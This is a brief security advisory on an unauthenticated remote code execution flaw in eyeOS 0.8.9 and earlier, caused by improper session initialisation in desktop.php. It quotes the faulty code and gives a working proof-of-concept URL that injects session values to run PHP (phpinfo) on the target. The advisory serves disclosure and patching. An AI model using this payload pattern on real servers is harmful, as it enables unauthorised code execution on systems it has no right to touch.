eyeOS Remote Code Execution
------------------------------------------------------------------------


SUMMARY

" <http://www.eyeos.org/> eyeOS is a web based operating system."

Remote Code Execution in eyeOS allows unauthenticated attackers to execute
arbitrary PHP commands.

DETAILS

Vulnerable Systems:
* eyeOS version 0.8.9 and prior

Immune Systems:
* eyeOS version 0.8.10

There is a Remote Code Execution vulnerability in eyeOS that is the result
of improperly initializing users sessions.

if (!isset ($_SESSION))
session_start ();

The above code is taken from desktop.php @ lines 20-21 and is the reason
code execution is possible. The $_SESSION array is like any other variable
until initialized with session_start() unless session.auto_start is set to
1. What's even worse is that obviously an attacker does not have to
authenticate in order to exploit this issue, which makes it much more
dangerous.


http://eyeOS/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION[usr]=root&_SESSION[apps][eyeOptions.eyeapp][wrapup]=phpinfo();

The above URL will successfully execute the phpinfo() command on the
target web-server with privileges of the web-server.
